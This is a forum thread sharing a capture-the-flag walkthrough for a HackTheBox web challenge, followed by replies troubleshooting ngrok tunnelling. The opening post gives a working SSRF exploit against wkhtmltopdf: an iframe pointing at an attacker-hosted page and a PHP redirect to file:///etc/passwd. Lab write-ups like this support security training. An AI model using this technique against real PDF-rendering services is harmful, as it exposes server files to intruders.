Temporary Advertisements:
Ad
Ad
Ad
HTB Web - PDFy
by macavitysworld - Friday April 26, 2024 at 07:29 PM
#1
HTB WEB CHALLLENGE - PDFy

- Vulnerability: wkhtmltopdf SSRF - https://exploit-notes.hdks.org/exploit/w...opdf-ssrf/  

Steps To Exploit

-  Create index.html

<!DOCTYPE html>
<body>
    <iframe src="http://YOUR_SERVER_IP/flag.php?x=/etc/passwd" style="height:800px;width:100%"></iframe>
</body>
</html>

- Create flag.php
PHP Code:
<?php header('location:file://'.$_REQUEST['x']); ?>

- Create a local php server
php -S 127.0.0.1:8000

- Forward the local server via ngrok
ngrok tcp 127.0.0.1:8000

- You'll get a public url serving your html & php file

- Add the url to above mentioned html file

- use the same url on the challenge website and submit



REP++ would be appreciated

(Apr 26, 2024, 07:29 PM)macavitysworld Wrote: HTB WEB CHALLLENGE - PDFy

- Vulnerability: wkhtmltopdf SSRF - https://exploit-notes.hdks.org/exploit/w...opdf-ssrf/  

Steps To Exploit

-  Create index.html

<!DOCTYPE html>
<body>
    <iframe src="http://YOUR_SERVER_IP/flag.php?x=/etc/passwd" style="height:800px;width:100%"></iframe>
</body>
</html>

- Create flag.php
PHP Code:
<?php header('location:file://'.$_REQUEST['x']); ?>

- Create a local php server
php -S 127.0.0.1:8000

- Forward the local server via ngrok
ngrok tcp 127.0.0.1:8000

- You'll get a public url serving your html & php file

- Add the url to above mentioned html file

- use the same url on the challenge website and submit



REP++ would be appreciated

Here is your flag:
Hidden Content
You must register or login to view this content.
Thanks @paw for the rank!!
Reply
#2
I am sending ngrok's link as input to the site, but I can't get any output... Just a blank pdf. Can you help me?

https://imgur.com/a/IHO8Bqv
Reply
#3
(Apr 28, 2024, 10:47 AM)horacewells Wrote: I am sending ngrok's link as input to the site, but I can't get any output... Just a blank pdf. Can you help me?

https://imgur.com/a/IHO8Bqv

Are you forwarding via tcp or http?
Thanks @paw for the rank!!
Reply
#4
(Apr 28, 2024, 11:02 AM)macavitysworld Wrote:
(Apr 28, 2024, 10:47 AM)horacewells Wrote: I am sending ngrok's link as input to the site, but I can't get any output... Just a blank pdf. Can you help me?

https://imgur.com/a/IHO8Bqv

Are you forwarding via tcp or http?

You specified "ngrok tcp" but I used http.
Reply
#5
(Apr 28, 2024, 03:40 PM)horacewells Wrote:
(Apr 28, 2024, 11:02 AM)macavitysworld Wrote:
(Apr 28, 2024, 10:47 AM)horacewells Wrote: I am sending ngrok's link as input to the site, but I can't get any output... Just a blank pdf. Can you help me?

https://imgur.com/a/IHO8Bqv

Are you forwarding via tcp or http?

You specified "ngrok tcp" but I used http.

If you don't have a paid ngrok plan, when you forward via http the page will land in a default warning page asking for confirmation to enter the site. So when you request the url on the challenge website, the default page will be called, not the file you hosted. That's the reason why I specified tcp instead of http. On tcp the default page is absent.
Thanks @paw for the rank!!
Reply
#6
Actually , this command -> ngrok tcp http://127.0.0.1:8000 doesn't work. It should be either ngrok tcp 127.0.0.1:8000 or ngrok http http://127.0.0.1:8000. When using ngrok tcp address ,something like tcp://0.... I got  such error: Invalid request (Malformed HTTP request). In case using ngrok http it doesnt work as well. I got just a blank pdf page
Reply
#7
(Jun 23, 2024, 10:31 PM)maverick78 Wrote: Actually , this command -> ngrok tcp http://127.0.0.1:8000 doesn't work. It should be either ngrok tcp 127.0.0.1:8000 or ngrok http http://127.0.0.1:8000. When using ngrok tcp address ,something like tcp://0.... I got  such error: Invalid request (Malformed HTTP request). In case using ngrok http it doesnt work as well. I got just a blank pdf page

Yeah, sorry for that, I could't edit it later. But wouldn't be a problem if you know to use ngrok, rather than copy pasting. Also http would work if you have a paid plan!
Thanks @paw for the rank!!
Reply
#8
Thank you man!!!!

Reallly tough challenge. lmao
Reply
#9
yeah ! the exploit is in the <?php header('location:file://'.$_REQUEST['x']); ?> which can you make a get reqeust and make lfi wirh ssrf !
Reply
#10
interesting, thx btw for sharing
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  HTB - ALL Challenges you Stuck in osamy7593 5 1,183 Yesterday, 05:29 PM
Last Post: axiom4
  [FREE] HackTheBox Academy - CBBH CDSA CPTS All Modules Flags Techtom 109 13,909 Yesterday, 04:02 AM
Last Post: shia
  [FREE] HackTheBox Academy - CAPE Path Study Techtom 67 11,441 Oct 15, 2026, 12:09 PM
Last Post: ploufmeuhmeuh
  [FREE] CPTS 12 FLAGS pulsebreaker 167 19,106 Oct 15, 2026, 12:07 PM
Last Post: ploufmeuhmeuh
  [UPDATED] APT-Labs Prolabs Writeup z1ne99 52 9,172 Oct 15, 2026, 07:36 AM
Last Post: Neurotic

Forum Jump:


 Users browsing this forum: 1 Guest(s)